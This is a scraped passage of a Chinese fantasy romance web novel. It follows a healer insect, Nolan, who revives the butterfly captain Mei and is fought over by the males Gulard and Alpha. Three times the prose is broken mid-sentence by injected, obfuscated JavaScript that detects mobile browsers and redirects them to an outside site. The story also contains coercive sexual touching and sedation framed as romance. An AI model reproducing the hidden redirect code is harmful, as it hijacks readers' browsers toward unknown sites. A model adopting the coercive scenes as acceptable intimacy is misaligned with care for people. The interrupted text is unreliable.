里奥刚刚把属于古拉德的机甲弄过来,顺便给诺蓝也淘了一台,然后一直在帐篷外面静静地站着,等待他们结束精神力链接。 看见诺蓝那一瞬,他眸子低沉,不再清澈。 昨晚到今晨都很冰冷,他却反而像是在火山里炙烤肢体。 “送给你。”里奥将机甲的指挥智脑递给诺蓝,“我昨天用过了,不太合适。” 这是里奥的生日礼物,帝国目前最高端的机型,一直没舍得用。 不过里奥不打算告诉小可爱。 诺蓝第一次拥有属于自己的机甲,摸来摸去,爱不释手,“谢谢,太酷了!” 里奥将手臂上的绷带勒紧,别过头,抿了下嘴唇,“……别谢我,这是我不要的,我家里机甲多的是。” 诺蓝对高科技的盲目崇拜堪称很傻很天真:“我不嫌弃。” 里奥眸光闪烁,一点点笑意在他嘴角泛起涟漪,然后以闪电般的速度消失。 古拉德意有所指说:“那群一年级的小朋友们还没有找到他们的指挥师吗?” 他扯起唇角笑了下,“真够慢的,最后一天时间,找不到的话,我就不还了。” 里奥正色道:“队长,特战队和潜行队发生了一点矛盾,艾尔法和潜行队的队长打起来了,昨晚潜行队某些虫族为了躲避打仗逃去了工程系,好在没出乱子,这次的事情算阴差阳错。” 什么阴差阳错?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805778|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 诺蓝寻思了一下,惊觉昨晚潜行队在上前线的前一刻临时投奔了工程系,前线吃紧,然后他才迫不得已流落到机甲队这边的…… 倒霉! 离开营地的时候,诺蓝心里一直在蜂蜂头流泪…… # 特战队的虫们才从前线退下来,回到营地的时候数人头,唯独没有看见诺蓝,虫族们天都塌了。 卢卡斯难得恼怒,路修低着头,但卢卡斯并没有责怪他。 “昨晚的情形太糟糕,你让诺蓝跑是正常的。” “诺蓝虽然不如其他雌虫那样强壮,但他拥有着整个虫族不可或缺的治疗系精神力,必须找到他,在艾尔法回来之前。” 路修触须狠狠压进发丝。 “否则…艾尔法一怒之下会毁了这片污染区的。” 战役过后的污染区一片狼藉,硝烟如同幽灵般还未完全散去,酸呛的气味混杂着烧焦虫族尸体的腥味,在湿漉漉的空气中弥漫。 破碎的虫肢碎片散落得到处都是,战舰能量黑匣在泥泞中闪烁着微弱的光,内部的能量极其不稳定的能量,发出轻微的嗡鸣声。 机甲队和实战系其他虫族汇合,一起清扫战场。 诺蓝也责无旁贷,加入地面搜救任务。 # 不远处,几具虫族尸体歪斜地倒在一旁,战舰驾驶舱敞开着,里面一片死寂,只有仪表盘上微弱的指示灯还在有气无力地闪烁。 在战舰的边缘,一只雄性蝴蝶跪坐在泥水里,华丽的金发披散着,不复华丽,似乎已经昏迷。 是突袭队的队长,梅。 与蝴蝶们绚丽且宽大、能够迷惑异种且韧利的翅翼截然不同,闪蝶族的翅翼脆弱而单薄,却是虫族最昂贵的珍宝。 梅队长的闪蝶翼鲜红如血,透明的翅膜上布满了因战斗而产生的裂痕,甚至有些地方已经残破不全。 犹如暴风雨击打过的红玫瑰,可以想象,一定有无数道精神力带着千钧之力,毫不留情地砸向他的身躯,每一滴都似是灌了铅般沉重,留下一道道伤痕。 他湿漉漉的金色长发紧贴脸颊,似乎在濒死边缘。 “……谁?” 诺蓝跪下,以最快速度抢救他。 “梅队长,卸下你的防备,全部身心交给我。” “……” “这是命令。” 诺蓝低声说:“我没有和你开玩笑,相信我,或者选择死亡,你没有第二次机会。” “……” 听出是谁在说话,梅在那一瞬间,依赖地将身体放松。 诺蓝的精神力如潺潺细流,一遍遍耐心又温柔地修复着雄性闪蝶破损断裂的骨骼和内脏。 透明的治疗丝线一点点将毫无温度的蝴蝶翅膀缝补起来,梅感受到温柔而强悍的力量,眼角渗出泪渍,绝无反抗。 诺蓝让精神力一圈圈缠绕、包裹着他,最后,将他封裹在一颗治疗茧里。 “你尽力了,梅队长。” 诺蓝的声音悲悯而温柔,就像夜色里一轮皎洁的月光。 “忘记这一刻,不要说出去,我替虫族感谢你的付出。” 梅也不知道听见没有,蜷缩成一团,躺在诺蓝的腹部。 那里柔软温暖,细薄均匀。 闪蝶的翅膀和腿在颤抖,巨大的蝶翼在诺蓝胳膊上乱蹭,却不敢用力,两只触角更是抖得如同狂风里的蔷薇。 少年的手轻抚他滚烫的额头,手指修长而冰凉,让梅感觉很舒服,那是一种不需要看见就能感受到的美好,让虫十分心动无法抗拒的温柔。 “睡吧,梅队长,等你醒来,一切都会好起来的,没有一条规则允许强者就不能脆弱,虫在危险来临的时刻选择休眠未必就是错的。” 梅却不知足,凑过来,压下去,将细长口器对准柔软少年的唇。 蝶族为身陷绝境而储备的花汁缓缓流出,失去意识的梅细细舔吻着少年柔嫩细腻的唇边,将最后一滴花液,喂了进去。 16. 第 16 章 诺蓝第一次被雄虫哺液,梅温柔的眉眼令他心跳骤停一瞬,紧接着梅轻柔但是不容置疑地搂住了他的腰,依偎在了他身上。 他的血蹭了诺蓝一身,两条触须虚弱地蜷缩起来,诺蓝把他搂进怀里,抚摸着他的头发,梅在他怀里眷恋地窝了窝,诺蓝没有拒绝他的靠近,而是拨开他沾血的金发,用袖子一点一点仔仔细细地把他脖子上残余的血擦干。 S级的实力不至于受这么重的伤,更何况是身经百战的突袭队梅·圣恩。 一贯肆意洒脱的雄虫此刻在诺蓝怀里乖顺地像手办,睫毛颤抖着,但是一动不动。 他身上携带的血液并不属于虫族,诺蓝几乎一瞬间就识别出来了,那是人类的血,来自于十万光年之外的蓝星。 “梅队长?”诺蓝轻声唤他,可是梅似乎睡着了,他脖颈的皮肤裂开后慢慢修复,像一朵枯萎的花在修复美丽。 和弟弟贝利尔的叛逆不同,哥哥梅总是谦逊沉静的,这对双子截然不同的性格让诺蓝很轻易就能区分他们。 贝利尔看到的话,肯定会心疼他哥。 系统在后台发出质疑:“雇佣兵来自于人类,所以这黑工厂的巨型虫族实验,人类也有份!” “这时候你醒了!”诺蓝气得够呛,系统缩着脑袋:“对不起对不起!阁下,我得升级程序啊,要不然我跟不上虫族思路啊,我可是个蓝星系统!…诶?这只雄闪蝶怎么了,该不会是死了吧?” “没有,虫族不会那么容易死。”诺蓝叹了口气说,“但我如果不立刻铺菌毯,他可能就得去见他太雌了,你别说话,我现在还没有想好要怎么处置你。” 系统完全不敢说话:哭唧唧…就是说,小可爱不发脾气的时候很温柔,发脾气的时候完全叫统不敢吱声… 虫母纯白色的软鳞尾巴在地面清扫,矮短如同牛毛苔一般的润白/精神力铺满地面,包裹着梅·圣恩的治疗茧被菌毯包裹住,安安稳稳躺在虫母的双腿上。 茧子里的雄虫在凝固,蜕壳,然后新生,整个过程持续不到一分钟,一个干净雪白的雄虫就蜕变而出,闪蝶鲜红的羽翼像是滴血的红玫瑰,梅在清醒时从不会露出的柔顺表情,此刻淋漓尽致。 有一些沉重的脚步声从远处传来,诺蓝迅速躲在草丛后,看着医疗队的虫族将梅队长带走。 “梅队长一点也不像资料里描写的那样强硬。” 系统暗戳戳说:“虫族是很好奴役的种族,这一点我在无数种族的法典里见过,星际其他种族形容他们的脑子里有一种名叫“脑群”的物质,真正的虫群并没有意识和感知,他们为群体的王或者是虫母服务都没有区别。” 诺蓝漫不经心地拂去制服裤上的碎草叶:“怎么说?” 系统调出来一篇泛黄的文件扫描图片,“阁下请看,人类曾用血管里携带的基因信息素驯化虫族,事实上还真取得了一些成果。” 【古蓝星人类曾在巨虫腔室里培育出了“脑群链”,他们观察到虫族会无条件臣服于虫母,所以在当时的虫母脑子里提取了大量的神经元,用来驯化被捕的虫族。】 【人类也确实驯服了虫族,然而当时没人知道,那只是虫族的陷阱。】 【虫们在没有组织的前提下,将所有人类同化成了虫族,另一部分无法同化的人类,则被“脑群”腔室吸收。】 【这残忍而独/裁的做法换来了人类的退让,虫族顺势与人类签订契约,要求人类参与虫族“脑群”共生实验,或是接受死亡,也就是把人类做过的实验再做一遍。】 【人类觉得很有挑战,于是选择了前者。】 【毕竟,对方只是一群低智商的虫子,人类是拥有高级情感的生物,绝不是被群体意识所绑架的虫子,他们不相信“脑群链”能操控他们。】 【人类并不相信虫族也有高级的情感,他们通常出现的情形总是在宇宙里搜刮星球资源,或者是乱/伦繁殖,以最原始的野蛮姿态横行霸道。】 系统把文件收回,发现诺蓝没说话,小心翼翼说:“不过,人类至今没有发现虫族没有被“脑群”完全操控的原因,本该被基因操控的无脑的虫族,生出了别样的智慧。” “似乎对虫族而言,虫母的意义…并不是一团血肉模糊的冰冷神经元组织所能替代的…抱歉,我不太懂,你别笑我!” 【……】 系统赶紧打圆场:“诶呀,这只是上一任虫母的故事啦,也就是王虫之前那一位虫族统治者的事迹,据说签订契约的虫族是虫母的雄夫,代号“雪渊”,你有印象吗?” 诺蓝:“没有,我出生的时候就是一个虫,我和你了解的差不多,当时虫族刚形成社会体系,到处都乱糟糟的,我是捡破烂长大的。反正先不管那个,我问你,厄斐尼洛和古拉德是亲兄弟吧?” 系统:“你怎么知道!”糟糕,好像不该泄露这种秘密的,“这是机密库里的档案!” 诺蓝:“我无意间听到的。那么,古拉德就是大皇子,他说要娶我做雌君那番话也是真的,但他也不知道,这群雇佣兵里有人类混进去了。” 系统花容失色:“你说啥!他敢提出娶你做雌君!!” 诺蓝不再和系统对话,因为贝利尔中校带着军部特派的救援虫来了。 “手脚很利落,诺蓝同学。” 白发红眼的雄虫少年难得露出有悖于乖巧的模样,显露出闪蝶族特有的神秘优雅气息,带着一丝淡淡的强硬:“多亏你发现了我哥哥…梅队长,现在他已经被送到医疗舱里了,看上去没有致命伤。” 诺蓝莞尔一笑:“小事一桩,你别客气。” “诺蓝,”贝利尔纤长的银睫轻颤,他抬起眼睛,目不转睛地盯着诺蓝,“真的不考虑加入我们突袭队吗?你要什么条件,我去向分配中心申请,一定会满足你,我上军校到现在攒了五百万贡献点,可以全部送给你,你毕业后可以直接进军部,享受中将待遇。 或者,我以圣恩家族的名义,向你赠予星球与能源,这对我的家族而言不算难题,我只要你的回答,是或不是,给个痛快。” 这是个很重大的承诺,贝利尔不像是在开玩笑,双拳攥得很紧,满脸是隐忍不发的盼然。 诺蓝还没等回答不要,就感受到一股格外强大的精神力席卷而来。 在战场最边远的密林深处发出一声暴怒的嗡鸣,一个足以吞噬半数虫族的庞大雄性从林子里缓步而出,压倒一片树丛,足有十艘军舰竖起来那么高。 机甲队似乎是闻着味儿过来的,飞船停在上空。 “带着梅离开吧,贝利尔,现在不太适合聊你们的私事。” 古拉德落了下来,抱起双臂好整以暇地看着那里,六根虫翅悠哉悠哉地扇动,笑着说:“小诺蓝,到我身边来,好好看着你的队长是怎么失去所有风度的。” 诺蓝诧异:“队、队长?那是艾尔法队长!” 古拉德唇角笑容戏谑,语气轻柔:“对啊,那就是你们平时不苟言笑的艾尔法队长,看到这样一头野兽,心里有没有觉得毛骨悚然?” 【可怕?】 众虫凑上去,绞尽脑汁想安慰小蜜蜂的话。 【多漂亮啊!我的队长!你就是我的偶像!】 众虫&古拉德:??? 两日不见的雄虫浑身充满着磅礴浑厚的力量感,白色虫身像是积雪覆盖着的高山岩石,蝉翼在阳光下熠熠生辉,绿眸犹如某种远古祭坛里召唤母神的图腾,他的触爪踏入血腥的战场,将满地苍白的骨骼碾做齑粉。 好像那不是断肢残骸的尸山,而是他脚下日日踩踏的王座。 “虫族本该有如此风采。”古拉德倒是不吝惜赞美,“我还以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805779|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会是路修副队他们第一个找来,看来,艾尔法对你很重视,他从未对其他虫族这样用心。” 艾尔法站在那里,没有四处走动,冷绿的眸子却没有一刻停留,直到他看见诺蓝,那道血红土壤里唯一的纯白,发出令山林震颤的怒吼,细长有力的尾针将整座悬崖峭壁击碎! 古拉德俯身贴在诺蓝耳畔处,捏着他的下颌,和他一起看向艾尔法,惬意地笑道: “小可爱,你可能不了解,SS级的精神力可不是白来的,从军校建立至今,艾尔法是唯一一个没有虫母链接加固的情况下,突破S级难关的虫族。 说实话,如果我是他,也会想把你留下,毕竟能承载SS级的雌虫太少太少,真奇怪,他明明是个怪物,却还妄想被疼爱,他似乎把你当成了虫母阁下,当成了我们的妈妈,真是可悲又可怜。” 古拉德那语气却很惋惜,好像可悲又可怜的不止艾尔法一虫。 “现在你看到了他的真实模样,还会坚定地选择成为他们的指挥师吗? 你明知道他对你不会手下留情,只会穷凶极恶榨干你最后一滴蜜,凡是劣雄都有劣根,不用镣铐和鞭子教训他们,就永远无法驯服,偏偏你总是心软,到最后,鞭子和镣铐会绑到你身上,你会成为高塔里被囚禁的笼中蜂。” 诺蓝一直在看着艾尔法,什么话都没有说。 众虫心惊肉跳:完了完了,小可爱被打击到了! 【虫神啊,太帅了……】 “…………” 古拉德倒是很有闲心,“小可爱,听我说,不如把昨夜我们做过的事都告诉他,再把他打败,然后我们可以在他的蝉翼上再做一次。” 【啊?】 【我不过是发呆了一会儿,他都说到哪儿了?】 【变、变态啊!】 不知道冰蝉的听力范围是多少,在冰蝉淬冰般的严酷目光中,古拉德含着笑意,在诺蓝的耳根轻轻舔了一下,并且在诺蓝腿软跌倒之前,暧昧地掐住了诺蓝的腰。 紧接着巨大的虫族振翅掠过焦黑的平原,风呼啸而至,诡异恐怖的冰蝉触须缩短,四肢逐渐转化为修长俊美的人类躯体,狰狞的口器化为薄唇,千万棱面的复眼,也变回湖泊一般冰洌的冷绿色。 艾尔法落在甲板上,收拢蝉翼,踩着军靴大步流星走来,猝然停在古拉德身前。 “……” 雄虫的目光下移,落在古拉德捏住诺蓝腰的那只手上。 艾尔法一身的血气,激发了在场所有雄虫的斗志,然而在SS级的强制碾压之下,雄虫们隐忍不语,除了古拉德好像免疫。 “古拉德殿下。” 艾尔法的嗓音如同冰霜一般寒凉,“他身上穿着特战队的装备,就算他脾气好,但你是否该深思熟虑,没有被他的队长允许的情况下,你不该碰他。” “艾尔法队长,他是你的吗?他身上写你的名字了还是纹了你的虫纹?”古拉德的笑容倨傲,“我还要问,来了就抢,谁给你的权利?昨晚你们把他弄丢了知道吗?” 艾尔法脸色冰冷,“是你们和潜行队串通好的不给予支援,把我们扔在前线送死,别以为我没发现,他们队长输给我后,也承认了这一点。” 【什么?!】 【啊啊啊啊啊啊啊我要打死你古拉德!】 【怎么可以欺骗我们实战系的虫!】 “那又怎样?得到他的是我。” 古拉德凑近了诺蓝的耳垂,轻咬了一下,蛊惑般的笑道:“我还要感谢你的失职,昨天晚上,我能让他一浪高过一浪的爽,你能吗?” “……” “你也不闻闻,他现在浑身上下都是谁的信息素,你想象不到吗?来吧,艾尔法,正大光明和我打一架,只有胜者才配享有他,看看抛弃该死的匹配值之后,我们谁才是胜者。” 17. 第 17 章 艾尔法并没有拒绝古拉德的挑战,诺蓝甚至在他眼中看见了隐忍不发的怒意,看上去急需一场酣畅淋漓的战斗释放怒火。 艾尔法重新变回了原始虫型,在距离救援艇百米以外的平原上降落,悍然如冰山的雄性虫族显露出超乎于想象的庞大身躯,并不臃肿,反而悍利坚/挺,蓬松的毛发气势雄浑,好像一抬头就能触碰到蓝天与白云。 诺蓝有种不太好的预感,SS级的高级战力足以在小范围内引起大规模的飓风,艾尔法在失控,在脱离脑域稳定值! 古拉德也很奇怪,诺蓝曾见过无数次雄性虫族间的厮杀,笑着发出挑战的情况绝无仅有。 诺蓝还没来得及和艾尔法建立初层精神链接,他曾在浅尝辄止后决定离艾尔法远一点,被反向链接可是很难接受的事……他们体型差距那么大,接受不了啊呜呜呜…… 但是按照古拉德的形容,艾尔法似乎独自一虫经历过漫长而苦痛的磨练,按照惯例,所有突破最高精神力限制而诞生的怪物都嗜血,除了基因匹配达成婚姻之外,基本不会有爱恨的情感。 只有生存才是唯一要义,这也是军校一直强调的丛林法则,造就了虫族星际霸主的地位。 但是看他们的反应,好像也过于激烈了吧! 诺蓝攥住古拉德胸前的领结:“…之前你不是答应过我,只要艾尔法队长找到我,你就让我跟他离开的吗?” 【你这个骗子!!】 诺·表面温文尔雅实则毒舌坦荡·蓝·圣卡罗兰! “你相信雄虫的话?” 古拉德欣然一笑:“真是个天性单纯的小可爱啊,你不知道雄虫在争夺伴侣的时候,卑鄙虚伪无耻至极吗?哈哈哈…” 诺蓝被古拉德揽着腰推进了背甲外骨骼的间隙里时,容颜妖冶的雄虫化为数十米的巨型异化螳螂,像极了撕裂了西装的野蛮暴徒:“骑在我背上,看我怎么打败他,独占你。” 诺蓝只来得及握住螳螂的后颈触角,那根触角就软腻腻地缠住了他的腿,脚踝被蹭了一下,然后那根触角顺势撩开了他的裤脚,顺着他的小腿往上攀爬。 诺蓝赶紧用力摘掉那根触角,“殿下!” “我知道,小可爱,但现在还不是谈情说爱的时候,”古拉德战意肆虐,脑压使他的声音低磁如电波,“等回军校再怜悯可怜的虫子吧,不管你是用嘴唇安慰他,还是用怀抱温暖他,只要我输了,我绝对不计较,我答应你的事就一定不反悔。” 好斗是雄性们最不值一提的优点,但现在变为了致命缺点,诺蓝哑口无言了,千万句吐槽最后化为一句话: “放我下去!!!” 古拉德扭头,竖长而银白的巨眼盯着诺蓝,表面无机质的瞳膜表面光滑圆弧,只倒映着一位昳丽少年的身影,就像大海里的一片叶子。 “小可爱,你别告诉我,我要杀了他,你心疼。” 在螳螂看来,复眼之中逐渐长出蜂翼的少年雌虫满脸都是舍不得,他美丽的脸庞、雪白的臂弯、轻薄的蜂翅、一双哪怕粗糙制服裤也无法掩盖的修长完美的腿,都无法抵得过他眼睛里缱绻的温柔,那种罕见的柔软和共情,螳螂从未在其他雌虫眼睛里看见过。 “优胜劣汰,是军校法则,同样,弱肉强食也是。” 古拉德悦耳的嗓音淬着毒,“诺蓝,你真的和其他虫很不一样,我在你身上看见了慈悲和羞耻感,那好像是人类才有的情绪。 哪怕是虫母阁下,也会选择最强者作为伴侣,而把被淘汰掉的虫族吞吃掉,变为繁育幼虫的肥料,而你不是。” “我看见你救了梅·圣恩,你给他吐了一个治疗茧,那东西可不是普通F级精神力雌虫能承载的重量,小家伙,你该不会是人类偷吃基因药伪装成的虫吧?” 诺蓝脸颊通红,气得对他又是一套精神连招,真的快被他言语挑衅得受不了了!! F级的精神力打在雄虫的侧脸,仅仅在靠近复眼眼眶的边缘位置,一道清晰可见的裂痕狰狞可怖。 “闭嘴,殿下。不要胡乱猜测我!” 古拉德不仅没有生气,还把诺蓝含进了口器里。 雄虫口器里分泌出的液体带着大量的麻醉剂,诺蓝浑身上下变得软绵绵的,气的眼角冒红,简直是快抓狂了! 【啊啊啊啊啊啊我脏了我脏了!】 【讨厌的雄虫,我才不是什么人类伪装成的虫族!!】 古拉德的瞳孔划过一丝忍俊不禁的意味。 诺蓝的吐槽并没有结束! 该怎么当虫母才对哦?那种年龄超过一百岁的老家伙,但是保持着年轻外貌,被虫族保护在巢穴最深处,从来没见过外面的世界,温柔宽和,不谙世事,习惯于温顺听话,身体极其敏感,轻轻一碰就有感觉,然后唯一的工作是乖乖拖着绵软肥厚的大尾巴替各种各样的虫族生孩子,孵化虫卵,在厌倦中麻木生活……是这样吗? 呸,虫母才不是那么脆弱的小禁脔!虽然不至于拼命繁衍霸占星际的每一个角落,但也不是柔弱的菟丝花! 【气死我你就开心了是吗古拉德?啊啊啊啊啊啊我吃了你!】 诺蓝被古拉德吐出来,浑身酸软,气鼓鼓地亮出小犬牙,张口就咬在了虫唯一柔软的后肩颈部! “……” 雄性虫族毫无预兆地哈哧哈哧喘起来,浑身肌肉一瞬间紧绷,伴随着剧烈的震动,迅速振翅飞起,在诺蓝脑子都差点被甩飞的瞬间,仰头发出剧烈而恐怖的狂暴吼声,周围的虫族纷纷退避。 太刺激了!除了在追求配偶之外,雄虫们很少参与斗殴事件,而且是两位高等种之间的战争! “小可爱,你知道吗。” 古拉德兴奋的声音难以掩饰激动,不忘用背翅护住诺蓝,“就算你想从我身边离开,我也无法否认你对我有致命吸引力,我没办法解释为什么,不过为你战死,好像也还不错。 虽然你离虫母基因差了十万八千里,而且我不认为我们虫族有爱这回事,所以我把这种悖离基因天性的感官反应解释为我疯了,但我绝不想死在艾尔法手里,所以,要劳烦你忍痛割爱了。” 失去意识的艾尔法疯狂地掠杀低等种的虫族,雪白的毛发潮汐一般向后舒展,爆冲到古拉德身前时,整只虫却硬生生停在了树冠后! 艾尔法焦躁地在原地踢足,巨吻中发出极具威胁的嘶鸣。 诺蓝在电光火石间意识到,艾尔法停下攻击古拉德的原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14805780|158503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因是为了自己,他不想伤害到自己。 只要他想,随时都可以在战场上大快朵颐。 【队长……好感动!】 【这次你扣我工资我也不怨你…】 但是古拉德并没有这样的顾虑,他找准机会,一口咬住艾尔法的蝉翅,嘶拉——银白色华丽宽大的翅面从根部裂开,却也以肉眼可见的速度飞速生长出脉络,与断裂的翅膀边缘部形成拱型桥梁,生长、修复、成翅。 艾尔法像是失去痛觉的战争机器,双翅交错成四支,边缘更锋利,他被逼出反击,漆黑坚硬的后截肢体作为支撑,扑倒古拉德,两只虫就势翻滚。 古拉德不忘护住背上的诺蓝,一片片的树丛轰然倒塌,属于艾尔法的血液像酸雨一样撒满了零碎的树叶。 浅淡的绿色如同碧色的海水,诺蓝和艾尔法曾链接过一次,知道对于艾尔法来说,这伤痛并不足以致命。 艾尔法仍旧没有反击,诺蓝看准机会,展开蜂翼扭身从古拉德背上跳下去,“队长,接住我!” 艾尔法挺直了虫躯不动,哪怕古拉德对他发起爆裂的攻击! 一份轻盈的重量落在艾尔法背上,诺蓝的制服裤都被树枝滑裂了,属于雄虫的黏腻的血液沾了他一身,一把攥住巨蝉脑后雪白的绒毛,双腿夹紧了他的后颈! 艾尔法轰然从地上爬起来,仰天嘶鸣,其他特战队队员终于找到了战争的突破口,从四面八方狂奔而来,S级们牵制住古拉德,形成训练有素的包围圈,和机甲队的虫们厮杀起来! 作为战争的最中心,艾尔法已经失去了高等智慧的意识,粗重的喘息声像是嗡鸣的雷达,久久不能平息。 诺蓝灵活地爬到他鼻吻上方,捧着他的脸摇晃他:“队长,抱歉了,未经过你的允许,我要链接你的脑域了,请相信我,我保证不会很痛。” 诺蓝的额头抵到巨虫坚硬粗犷的外骨骼上,汗津津的,手不停抚摸着巨虫的侧脑。 巨虫粗糙膨大的脸部骨骼逐渐缩小,变得狭窄,人类脸庞棱角分明的出现在诺蓝眼前,艾尔法赤/裸着身躯,张开蝉翼悬在半空中,单手抱住了下坠的诺蓝。 诺蓝下意识搂住他的脖子,眨了眨眼睛:“队长,你好啦?” “……” 艾尔法低头看到怀中的诺蓝,而后微微怔然,缓缓降落在灌木丛中。 诺蓝轻呼一口气,终于赶在艾尔法失控前稳定了他的精神力,但也仅限于此,他需要更多的时间和雄虫搭建链接,现在显然太仓促了,还做不到。 “还没有…” 艾尔法俯身将他压在身下,左手垫住了他的后脑,右手垫在他后腰下,用侧脸眷恋轻蹭诺蓝的下颌。 雄虫挺直了腰身,粗重灼热的呼吸喷洒在诺蓝侧颈,他似乎在克制忍耐着膨胀的侵略欲望,嘴唇若即若离地轻轻蹭过自家指挥师的白皙皮肤。 “精神…链接…” 艾尔法说话的嗓音还残留着虫化后的咯咯声,俊美的雄性脸庞更增强了这种诡异感。 “是熟悉的蜜香…” 艾尔法搂住诺蓝后腰,缓缓压下来,凑近了一点,饱含欲望的嗓音过分低沉道:“今晚…深度链接我…在我餮足之前。” 18. 第 18 章 诺蓝并没有提出异议,而轻声说:“你需要深度链接的话,我会责无旁贷地帮助你。” 动听的嗓音留下承诺,艾尔法依恋地用脸颊轻贴诺蓝的手心,那掌心里的触感温润细腻,令他无比贪恋。 艾尔法也无法解释内心深处的悸动是为了什么,他只知道,唯独诺蓝能给他这样的感受,他第一次被召唤出了身为雄性虫族的本能,那就是想要拥有一个母巢。 母巢意味着一个食物充沛的环境,把适合谈恋爱的雌虫塞进母巢里,或者,把心爱的雌虫变成母巢,至于母巢一词是怎么来的…… 虫母。 虫母天生就是虫族的母巢,既可以是虫族们摄取营养蜜的来源,也可以是承载虫族们爱与热烈的巢穴,将虫母养护得白白胖胖、健健康康、拥有一条柔润光滑的繁殖尾,是每一个虫族心中永恒的追求。 “怎么会……”有这样的想法? 诺蓝又不是虫母阁下。 艾尔法——新任的蝉族监察官隐忍地呼吸着新鲜的蜜味,呢喃细语道。 尽管如此,他仍旧是握住了诺蓝的腰,不允许孱弱幼小的雌虫逃离自己的桎梏,但他的力气很轻,似乎是怕弄疼了柔弱的小雌虫。 诺蓝的腰无比敏感,因为虫母的内脏排布和其他虫族不一样,他的腰腹部以下才是真正脏器的位置,所以,不论哪只雄虫碰他的腰以下,他都会有种火热的、难以言说的酥麻感, 因此,诺蓝手指都在颤抖,却还是抚摸着艾尔法的侧脸,试图安抚他,轻声说:“队长,你别害怕,我知道昨天晚上你们很辛苦,我也没有受伤,别担心我了。” 艾尔法顺从着他,强制自己平静。 淡绿色的血蹭到了诺蓝的指腹,别样的温暖使雄虫快有些心猿意马,他很想就这样赖在这个怀抱里不起来… 不…不能这样,他是自由的… 可是不得到他,自己就是不自由的… 艾尔法在混乱里无法抽身,尤其是诺蓝的体温,无疑是最适合成为母巢的温度,比普通雌虫高出2摄氏度的体温,只有等级高的虫族能发觉细小的差异。 “深度链接”意味着彻底建立精神力共生机制,通常只有高等种的雌虫才能做到,他们会打开对方的脑域,搜刮每一寸领土,全部印上自己的名字,让雄虫成为自己的侍卫。 但这一切都无法和虫母的能力做对比。 一位强大的虫母可以同时深度链接所有虫族,让他们的等级短暂提升,对其他种族进行毁灭性打击,尤其是虫族那几个遍地高等种的大家族,他们能屹立多年不倒,都是因为初代虫母深度链接过他们的脑域,使他们的等级提升到了A以上。 因此,虫母成为了星际各族闻风丧胆的恐怖杀手制造者,虫族曾以此为傲。 艾尔法从诺蓝身上起来,尽量不压到他,但是诺蓝有点缺氧,并没有动。 乌发乌眸的蜂族少年无力地躺在地上,打开的蜂翅垫在身后,浑身散发着雄虫浓烈的信息素气息,被舔过的皮肤泛着淡淡的粉红,像被信徒用圣水浸泡洗礼过的神像,尤其是他不说话的时候最像。 可是他是活生生的,散发着浓郁蜜香的,那双黑眼睛里的柔韧,还有对于雄虫无理要求的宽纵,都被糅合在一起,像极了晚夜林间拂过的温柔的风,或是荒芜星球上盛开的一片紫罗兰花田。 “不扶我起来吗,队长?” 蜂族少年向上抬起手,唇角带着笑,并没有在质问,“地上太冷,我好像进入…成年后的第一次发育期了,会生病的。” 艾尔法的意识恢复了清醒,终于看清了眼前虫是谁,两条触须受惊似的紧紧竖成两根天线,虫翅迅速收起。 他小心谨慎地俯身,把缩成一团的雌虫打横抱起来,像一个忠诚的士兵那样朝前走去。 诺蓝靠在他肩上昏昏欲睡,艾尔法怀里抱着的躯体越来越软,察觉到他的困倦,雄虫展开双翼低空滑行,以最大程度降低颠簸的频次。 特战队的其他虫族开始收拾残局,机甲队昨晚和潜行队密谋退离前线一事遭到曝光,两边虫族打得热火朝天,艾尔法身为队长不能先行离开,于是将诺蓝交给卢卡斯,让他和路修保护着诺蓝先行回战舰。 诺蓝在落到卢卡斯怀里的时候就清醒了很多,但是眼皮像被胶水粘上了似的睁不开。 回到星舰里之后,诺蓝隐约看见这艘星舰变了模样,走廊两侧的雄虫士兵肃穆死寂,对每一只进入的虫都严格安检,他们中不乏A级,但却诡异地无比忠诚。 在安检完卢卡斯时,士兵们停在诺蓝身前,并没有搜身。 “请您通过,阁下。” 士兵们恭恭敬敬道,然后安检下一位虫族。 诺蓝想不通是为什么。 走到客舱里之后,卢卡斯抱着诺蓝坐在地毯上,路修则跪在诺蓝身前满眼歉意,蓝宝石一样的眼瞳满是忧伤。 “你醒了!” 诺蓝一睁开眼睛就看见了路修,卢卡斯轻柔地提着他的腰和腿,把他放在地毯上,然后摘下自己的长披风盖在了诺蓝肩上,似乎是极其讨厌他身上雄虫的气味。 